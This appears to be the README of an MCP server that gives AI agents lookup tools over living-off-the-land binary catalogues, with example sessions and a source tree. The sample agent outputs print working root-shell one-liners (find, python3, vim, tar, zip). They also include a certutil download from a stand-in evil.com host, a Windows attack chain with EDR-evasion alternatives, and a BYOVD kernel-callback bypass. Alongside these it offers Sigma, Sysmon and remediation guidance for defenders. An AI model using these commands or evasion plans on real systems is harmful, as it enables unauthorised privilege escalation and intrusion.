living-off-the-land-lolbins-mcp-server

Traditional LOL binary intel workflow:
  Linux privilege escalation         ->  GTFOBins web interface
  Windows LOL binaries               ->  LOLBAS project website
  macOS native binaries              ->  LOOBins web interface
  Vulnerable kernel drivers          ->  LOLDrivers project
  Abusable RMM tools                 ->  LOLRMM project
  VMware ESXi binaries               ->  LOLESXi project
  Living off trusted platforms       ->  LOTP project
  C2 over legitimate services        ->  LOLC2 project
  Firmware/BIOS/cabinet abuse        ->  LOFLCAB project
  Active Directory attacks           ->  WADComs web interface
  cross-platform correlation         ->  copy-paste into a spreadsheet
  ATT&CK mapping                     ->  manual lookup in Navigator
  detection rule writing             ->  start from scratch every time
  ────────────────────────────────────
  Total: hours per engagement, most of it switching contexts and reformatting data

With living-off-the-land-lolbins-mcp-server:
  You: "I need to escalate privileges on a Linux box with curl, python3, and find available"

  Agent: -> lol_lookup {binary: "curl", platform: "linux"}
         -> lol_lookup {binary: "python3", platform: "linux"}
         -> lol_lookup {binary: "find", platform: "linux"}
         -> lol_privesc_paths {binaries: ["curl","python3","find"], platform: "linux"}
         -> lol_detect_rules {binary: "find", technique: "suid"}
         -> "3 escalation paths found:
            1. find (SUID) — spawn shell via -exec: find . -exec /bin/sh -p \; -quit
            2. python3 (SUID) — python3 -c 'import os; os.execl("/bin/sh","sh","-p")'
            3. curl (sudo) — if sudo curl is allowed, file read via -o or write via -O
            MITRE ATT&CK: T1548.001 (Setuid/Setgid), T1059.006 (Python)
            Sigma rule generated for sysmon file creation + process exec patterns.
            Detection: monitor execve() calls from find/python3 with euid!=uid."

npx living-off-the-land-lolbins-mcp-server

git clone https://github.com/badchars/living-off-the-land-lolbins-mcp-server.git
cd living-off-the-land-lolbins-mcp-server
bun install

# With npx
claude mcp add lolbins-mcp-server -- npx living-off-the-land-lolbins-mcp-server

# With local clone
claude mcp add lolbins-mcp-server -- bun run /path/to/living-off-the-land-lolbins-mcp-server/src/index.ts

{
  "mcpServers": {
    "lolbins": {
      "command": "npx",
      "args": ["-y", "living-off-the-land-lolbins-mcp-server"]
    }
  }
}

# List composite tools (59)
npx living-off-the-land-lolbins-mcp-server --list

# List all tools including sub-tools (321)
npx living-off-the-land-lolbins-mcp-server --list-all

# Show help
npx living-off-the-land-lolbins-mcp-server --help

# Run any tool directly
npx living-off-the-land-lolbins-mcp-server --tool lol_lookup '{"binary":"curl","platform":"linux"}'
npx living-off-the-land-lolbins-mcp-server --tool lol_privesc_paths '{"binaries":["find","python3"],"platform":"linux"}'
npx living-off-the-land-lolbins-mcp-server --tool lol_detect_sigma '{"binary":"certutil.exe","technique":"download"}'
npx living-off-the-land-lolbins-mcp-server --tool lol_driver_check '{"driver":"RTCore64.sys"}'

You: "What LOL binaries on Windows can I use for lateral movement without dropping files to disk?"

You: "Look up certutil.exe across all platforms and catalogs"

Agent: -> lol_lookup {binary: "certutil.exe"}
       -> lol_cross_platform {binary: "certutil"}
       -> lol_attack_map {binary: "certutil.exe"}
       -> "certutil.exe — Windows LOL binary (LOLBAS):
          Functions: Download (ADS), Encode/Decode (Base64), Alternate Data Streams
          ATT&CK: T1140 (Deobfuscate), T1105 (Ingress Tool Transfer), T1564.004 (ADS)
          Commands:
            Download: certutil -urlcache -split -f http://evil.com/payload.exe out.exe
            Encode:   certutil -encode payload.exe encoded.txt
            Decode:   certutil -decode encoded.txt payload.exe
          Cross-platform equivalents:
            Linux: curl, wget, openssl (GTFOBins)
            macOS: curl, security (LOOBins)
          Detection: Sysmon EventID 1 (ProcessCreate) + EventID 11 (FileCreate)
          Sigma rule generated."

You: "I have sudo access to vim, tar, and zip on Linux. Find escalation paths."

Agent: -> lol_privesc_paths {binaries: ["vim","tar","zip"], platform: "linux"}
       -> lol_lookup {binary: "vim", platform: "linux"}
       -> lol_lookup {binary: "tar", platform: "linux"}
       -> lol_lookup {binary: "zip", platform: "linux"}
       -> "3 privilege escalation paths found:
          1. vim (sudo) — :!/bin/sh — drops to root shell immediately
          2. tar (sudo) — tar cf /dev/null testfile --checkpoint=1
             --checkpoint-action=exec=/bin/sh — shell via checkpoint
          3. zip (sudo) — zip /tmp/x.zip /etc/hosts -T
             -TT 'sh #' — shell via test command
          Risk: HIGH — all three provide immediate root shell
          MITRE: T1548.003 (Sudo and Sudo Caching)
          Remediation: restrict sudo to specific flags, use sudoers NOEXEC"

You: "Generate detection rules for mshta.exe abuse"

Agent: -> lol_detect_sigma {binary: "mshta.exe", technique: "execute"}
       -> lol_detect_yara {binary: "mshta.exe"}
       -> lol_detect_sysmon {binary: "mshta.exe"}
       -> lol_detect_edr {binary: "mshta.exe"}
       -> "Detection package for mshta.exe (LOLBAS):
          Sigma: Process creation rule matching mshta.exe spawning
            cmd.exe/powershell.exe + network connection rule
          YARA: Rule matching mshta.exe loading VBScript/JScript payloads
          Sysmon: EventID 1 (child process) + EventID 3 (network)
            config snippet provided
          EDR (KQL): DeviceProcessEvents query for mshta.exe
            with suspicious command-line patterns
          Coverage: T1218.005 (Mshta), T1059.005 (VBScript)"

You: "I'm on a Windows 10 box. Enumerate which LOL binaries are available and plan an attack chain."

Agent: -> lol_enum_environment {platform: "windows", version: "10"}
       -> lol_attack_graph {platform: "windows", objective: "persistence"}
       -> lol_opsec_check {techniques: ["certutil","mshta","schtasks"]}
       -> "Windows 10 LOL binary inventory:
          154 LOLBAS binaries available by default
          12 LOLDrivers vulnerable drivers known for Win10
          8 LOLRMM tools commonly present
          Attack chain (initial access -> persistence):
            1. mshta.exe — execute HTA payload (T1218.005)
            2. certutil.exe — download additional tools (T1105)
            3. schtasks.exe — establish persistence (T1053.005)
          OPSEC warnings:
            - certutil download triggers Defender ATP alert
            - mshta.exe flagged by most EDR products
            - schtasks.exe is heavily monitored
          Alternatives with lower detection:
            - Use desktopimgdownldr.dll for download instead of certutil
            - Use msiexec for execution instead of mshta"

You: "Create a purple team exercise around LOLDrivers and BYOVD"

Agent: -> lol_purple_exercise {topic: "BYOVD", catalogs: ["loldrivers"]}
       -> lol_driver_search {query: "kernel", vulnerable: true}
       -> lol_detect_rules {technique: "BYOVD"}
       -> "Purple Team Exercise: Bring Your Own Vulnerable Driver (BYOVD)
          Red Team Steps:
            1. Deploy RTCore64.sys (known vulnerable, CVE-2019-16098)
            2. Load driver via sc.exe create / sc.exe start
            3. Use driver to disable kernel callbacks (EDR bypass)
          Blue Team Validation:
            1. Verify driver load events (Sysmon EventID 6)
            2. Check driver signature against LOLDrivers blocklist
            3. Monitor for kernel callback removal
          Scoring: red success if EDR blind, blue success if detected in <5min
          MITRE: T1068 (Exploitation for Privilege Escalation)
          Caldera profile exported."

src/
  index.ts                  # CLI entrypoint (--help, --list, --list-all, --tool, stdio server)
  protocol/
    mcp-server.ts           # MCP server setup (stdio transport)
    tools.ts                # Tool registry — all 59 composite tools + 321 total tools
  types/
    index.ts                # Shared types (ToolDef, ToolContext, ToolResult, CatalogEntry)
  schema/
    catalog.ts              # Unified catalog schema (Zod)
    technique.ts            # ATT&CK technique schema
    binary.ts               # Binary/tool schema
  utils/
    rate-limiter.ts         # Per-catalog rate limiter
    cache.ts                # TTL cache for catalog data
    loader.ts               # Catalog data loader (fetch + parse + normalize)
    updater.ts              # Catalog auto-updater (check for new entries)
  catalogs/
    gtfobins/               # GTFOBins parser and normalizer
    lolbas/                 # LOLBAS parser and normalizer
    loobins/                # LOOBins parser and normalizer
    loldrivers/             # LOLDrivers parser and normalizer
    lolrmm/                 # LOLRMM parser and normalizer
    lolesxi/                # LOLESXi parser and normalizer
    lotp/                   # LOTP parser and normalizer
    lolc2/                  # LOLC2 parser and normalizer
    loflcab/                # LOFLCAB parser and normalizer
    wadcoms/                # WADComs parser and normalizer
    index.ts                # Catalog registry and loader index
  knowledge-base/
    attack-map.ts           # MITRE ATT&CK mapping engine
    binary-db.ts            # Unified binary database (normalized from all catalogs)
    technique-db.ts         # Technique database with cross-references
  environment/
    enumerator.ts           # Platform environment enumeration
    platform-profiles.ts    # Default binary inventories per OS/version
  graph/
    attack-graph.ts         # Attack graph data structure
    pathfinder.ts           # BFS/DFS path finding algorithms
    visualizer.ts           # Mermaid, Graphviz, ASCII graph rendering
  providers/
    core/                   # Core lookup, search, list tools (3)
    environment/            # Environment & graph tools (4)
    privesc/                # Privilege escalation tools (3)
    persistence/            # Persistence tools (2)
    lateral/                # Lateral movement tools (2)
    evasion/                # Defense evasion tools (5)
    credential/             # Credential access tools (2)
    execution/              # Execution tools (3)
    discovery/              # Discovery & collection tools (2)
    exfiltration/           # Exfiltration & C2 tools (3)
    payload/                # Payload & obfuscation tools (4)
    drivers/                # Drivers, RMM, CI/CD tools (3)
    platform/               # Platform deep dive tools (3)
    opsec/                  # OPSEC & planning tools (2)
    threat-intel/           # Threat intelligence tools (3)
    forensics/              # Forensics & IR tools (3)
    detection/              # Detection engineering tools (4)
    blue-team/              # Blue team analytics tools (3)
    ad/                     # AD & WADComs tools (1)
    reporting/              # Reporting & visualization tools (3)
    integration/            # Integration export tools (1)
  composite/
    index.ts                # Composite tool orchestrator (chains sub-tools)
  scripts/
    update-catalogs.ts      # Script to fetch and update all catalog data
    build-knowledge-base.ts # Script to rebuild the unified knowledge base